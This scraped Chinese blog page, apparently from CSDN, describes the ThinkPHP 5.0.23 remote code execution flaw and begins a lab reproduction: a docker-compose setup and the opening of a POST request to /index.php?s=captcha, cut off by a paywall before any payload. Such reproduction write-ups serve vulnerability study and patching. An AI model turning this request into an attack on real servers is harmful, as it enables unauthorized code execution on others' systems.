ThinkPHP5 5.0.23 远程代码执行漏洞

最新推荐文章于 2024-06-23 19:07:57 发布

GuiltyFet

最新推荐文章于 2024-06-23 19:07:57 发布

阅读量863

点赞数

分类专栏：漏洞文章标签：安全 php web安全

本文链接：https://blog.csdn.net/weixin_51387754/article/details/122233983

版权

这篇博客介绍了ThinkPHP5 5.0.23版本的一个重大安全问题，该版本存在远程代码执行漏洞。由于在获取method的方法中处理不当，攻击者能够利用Request类的任意方法构造恶意请求，导致远程代码执行。文章通过复现漏洞，详细展示了漏洞的触发条件和环境设置，帮助读者理解漏洞原理。

摘要由CSDN通过智能技术生成

ThinkPHP5 5.0.23 远程代码执行漏洞

ThinkPHP是一款运用极广的PHP开发框架。其5.0.23以前的版本中，获取method的方法中没有正确处理方法名，导致攻击者可以调用Request类任意方法并构造利用链，从而导致远程代码执行漏洞。

漏洞复现

执行如下命令启动一个默认的thinkphp 5.0.23环境：

docker-compose up -d

环境启动后，访问http://your-ip:8080即可看到默认的ThinkPHP启动页面。

在这里插入图片描述

POST /index.php?s=captcha HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml

最低0.47元/天解锁文章

GuiltyFet

关注

0
点赞
踩
1

收藏

觉得还不错? 一键收藏
打赏
1
评论
ThinkPHP5 5.0.23 远程代码执行漏洞

ThinkPHP5 5.0.23 远程代码执行漏洞ThinkPHP是一款运用极广的PHP开发框架。其5.0.23以前的版本中，获取method的方法中没有正确处理方法名，导致攻击者可以调用Request类任意方法并构造利用链，从而导致远程代码执行漏洞。漏洞复现执行如下命令启动一个默认的thinkphp 5.0.23环境：docker-compose up -d环境启动后，访问http://your-ip:8080即可看到默认的ThinkPHP启动页面。POST /index.php?s=ca
复制链接

扫一扫